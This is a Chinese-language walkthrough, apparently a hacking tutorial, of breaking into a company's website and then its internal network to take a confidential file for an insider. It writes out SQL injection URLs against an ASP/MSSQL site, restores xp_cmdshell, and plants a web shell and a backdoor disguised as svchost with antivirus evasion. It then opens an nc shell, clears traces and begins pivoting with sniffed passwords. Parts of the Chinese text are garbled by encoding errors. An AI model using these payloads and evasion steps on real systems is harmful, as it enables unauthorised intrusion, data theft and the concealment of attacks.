本文的目標(biāo)是一國(guó)內(nèi)知名公司的網(wǎng)絡(luò)，本文圖片、文字都經(jīng)過處理，均為偽造，如有雷同，純屬巧合。 最近一個(gè)網(wǎng)友要我?guī)退盟麄児緝?nèi)網(wǎng)一項(xiàng)重要的文件，公司網(wǎng)絡(luò)信息朋友都mail給我了，這些信息主要是幾張網(wǎng)絡(luò)拓?fù)鋱D以及在內(nèi)網(wǎng)嗅探到的信息（包括朋友所在的子網(wǎng)的設(shè)備用戶名及密碼等信息……）。參照以上信息總體整理了一下入侵的思路，如果在朋友機(jī)器安裝木馬，從內(nèi)部連接我得到一個(gè)CMD Shell，須要精心偽裝一些信息還有可能給朋友帶來麻煩，所以選擇在該網(wǎng)絡(luò)的網(wǎng)站為突破口，而且管理員不會(huì)認(rèn)為有“內(nèi)鬼”的存在。 用代理上肉雞，整體掃描了一下他的網(wǎng)站，只開了80端口，沒掃描出來什么有用的信息，就算有也被外層設(shè)備把信息過濾掉了，網(wǎng)站很大整體是靜態(tài)的網(wǎng)頁(yè)，搜索一下，查看源文件->查找->.asp。很快找到一個(gè)類似http://www.*****.com/news/show1.asp?NewsId=125272頁(yè)面，在后面加上and 1=1 、and 1=2前者正常，后者反回如下錯(cuò)誤。 Microsoft OLE DB Provider for ODBC Driver error ‘80040e14‘ [Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character sting”. /news/show/show1.asp，行59 是IIS+MSSQL+ASP的站，在來提交： http://www.*****.com/news/show1.asp?NewsId=125272 and 1=(select is_srvrolemember(‘sysadmin‘)) http://www.*****.com/news/show1.asp?NewsId=125272 and ‘sa‘=(select system_user) 結(jié)果全部正常，正常是說明是當(dāng)前連接的賬號(hào)是以最高權(quán)限的SA運(yùn)行的，看一下經(jīng)典的“sp_cmdshell”擴(kuò)展存儲(chǔ)是否存在，如果存在那就是初戰(zhàn)告捷。 http://www.*****.com/news/show1.asp?NewsId=125272 and 1=(select count(*) from master.dbo.sysobjects where xtype = ‘x’ and name = ‘xp_cmdshell‘) 失敗，看看是否可以利用xplog70.dll恢復(fù)，在提交： http://www.*****.com/news/show1.asp?NewsId=125272;exec master.dbo.sp_addextendedproc ‘xp_cmdshell‘,’xplog70.dll’ 在試一下xp_cmdshell是否恢復(fù)了，又失敗了，看樣管理是把xp_cmdshell和xplog70.dll刪除了，想利用xp_cmdshell“下載”我們的木馬現(xiàn)在是不可能的。首先我們先要得到一個(gè)WEB Shell，上傳xplog70.dll，恢復(fù)xp_cmdshell在利用xp_cmdshell運(yùn)行我們上傳的木馬，這都是大眾入侵思路了，前輩們以經(jīng)無數(shù)人用這個(gè)方法入侵成功。拿出NBSI掃一下，一會(huì)后臺(tái)用戶名和密碼是出來了，可是后臺(tái)登錄地址掃不出來，測(cè)試了N個(gè)工具、手工測(cè)試也沒結(jié)果，有可能管理員把后臺(tái)刪除了。我們想辦法得到網(wǎng)站的目錄，這時(shí)就須要用到xp_regread、sp_makewebtask兩個(gè)擴(kuò)展存儲(chǔ)，試一下是否存在： http://www.*****.com/news/show1.asp?NewsId=125272and 1=(select count(*) from master.dbo.sysobjects where name = ‘xp_regread‘) http://www.*****.com/news/show1.asp?NewsId=125272and 1=(select count(*) from master.dbo.sysobjects where xtype=‘X‘ and name = ‘sp_makewebtask‘) 全部返回正常說明存在(一般的網(wǎng)管不太了解他們，存在也很正常)，首先簡(jiǎn)單介紹一下xp_regread擴(kuò)展存儲(chǔ)過程及sp_makewebtask Web助手存儲(chǔ)過程，xp_regread是用來讀取注冊(cè)表信息的，我們可以通過這個(gè)來得到保存在注冊(cè)表中的Web絕對(duì)路徑。sp_makewebtask這個(gè)就是我們用來得到WEB Shell的，主要功能就是導(dǎo)出數(shù)據(jù)庫(kù)中表的記錄為文件。這個(gè)方法網(wǎng)上很早就出現(xiàn)了，我們網(wǎng)站的目錄在注冊(cè)表里是在HKEY_LOCAL_MACHINE‘,‘SYSTEM\ControlSet001\Services\W3SVC\Parameters\，我們?cè)跀?shù)據(jù)庫(kù)里建一個(gè)表，將他存儲(chǔ)在表里，在使數(shù)據(jù)庫(kù)錯(cuò)誤回顯在IE里。 http://www.*****.com/news/show1.asp?NewsId=125272;create table [dbo].[biao]([zhi][char](255)); 這時(shí)候我們就建了一個(gè)名為biao的表，并添加了一個(gè)類型為char長(zhǎng)度是255的字段，名為zhi，然后添加數(shù)據(jù)： http://www.*****.com/news/show1.asp?NewsId=125272;declare @result varchar(255) exec master.dbo.xpregread‘HKEY_LOCAL_MACHINE‘,‘SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots‘,‘/‘, @result output insert into biao (zhi) values(@result);-- 然后暴出WEB絕對(duì)路徑：http://www.*****.com/news/show1.asp?NewsId=125272 and 1=(select count(*) from biao where zhi>1) IE返回錯(cuò)誤，得到網(wǎng)站的物理路徑e:\inetput\web\，向網(wǎng)站目標(biāo)寫個(gè)小網(wǎng)頁(yè)木馬，一個(gè)朋友以前寫過一個(gè)程序，由于只是內(nèi)部用的，我就不抓圖了，網(wǎng)上早就有發(fā)布過這種工具，有興趣下載自己看看吧！原理都是一樣的，如果想手工輸入就是麻煩了點(diǎn)，但可以向網(wǎng)站腳本文件寫入“一句話木馬”在遠(yuǎn)程提交，以得到一個(gè)大馬的目的。登錄木馬后把自己機(jī)器的xplog70.dll上傳到網(wǎng)站目錄在傳一個(gè)hacker‘s door，黑客之門只有一個(gè)dll，我們要建一個(gè)批處理，名子為run.bat： @echo off @rundll32 kernel,DllRegisterServer svchost.exe @del run.bat 在拿一下文件合并器，將我們建的批處理和dll文件合并成一個(gè)exe文件，黑客之門的使用方法我就不多說了，他有詳細(xì)的使用手冊(cè)，建議在處理一下，以免傳到服務(wù)器上被查殺。黑客之門主要用處是可以利用服務(wù)器上所開的任何端口和我通信，現(xiàn)在恢復(fù)他的xp_cmdshell擴(kuò)展存儲(chǔ)： http://www.*****.com/news/show1.asp?NewsId=125272;exec master.dbo.sp_addextendedproc ‘xp_cmdshell‘,’e:\inetput\web\xplog70.dll’;-- 在IE里提交：exec master.dbo.xp_cmdshell’ e:\inetput\web\rootkit.exe’ rootkit.exe是黑客之門改的名子，注意這個(gè)程序要解綁到系統(tǒng)目錄如圖1。
木馬運(yùn)行后，Nc –vv ip 80 輸入密碼就得到一個(gè)CMD Shell，在放一個(gè)隱藏的asp木馬，簡(jiǎn)單的把入侵的痕跡清理一下。以上的方法很早就有了，由于網(wǎng)上資料也很多、本文主要說滲透內(nèi)網(wǎng)，篇幅有限我就不過多解釋了。 滲透內(nèi)網(wǎng) 這個(gè)網(wǎng)絡(luò)很大共有七個(gè)網(wǎng)管，現(xiàn)在當(dāng)前位置是F網(wǎng)、朋友在B網(wǎng)、目標(biāo)在A網(wǎng)。朋友給的資料，目前接入internet的兩臺(tái)設(shè)備未知(假設(shè)未知的設(shè)備都是路由器)，圖2是該公司大體的網(wǎng)絡(luò)拓?fù)鋱D。掌握B網(wǎng)所有設(shè)備用戶名密碼（朋友之前嗅探到的）。除A網(wǎng)其它網(wǎng)絡(luò)可以自由通信， A網(wǎng)內(nèi)有公司重要信息所以不像其它網(wǎng)，它是不允許任何人訪問的，路由不給予轉(zhuǎn)發(fā)數(shù)據(jù)，也就是只進(jìn)不出的網(wǎng)絡(luò)，雖然現(xiàn)在的網(wǎng)絡(luò)是外緊內(nèi)松，但是想進(jìn)入目標(biāo)主機(jī)還是有些難度。怎么跨過設(shè)備的限制到達(dá)目標(biāo)呢！您還要向下看?，F(xiàn)在首要的目的就是讓router3給我們轉(zhuǎn)發(fā)數(shù)據(jù)包。
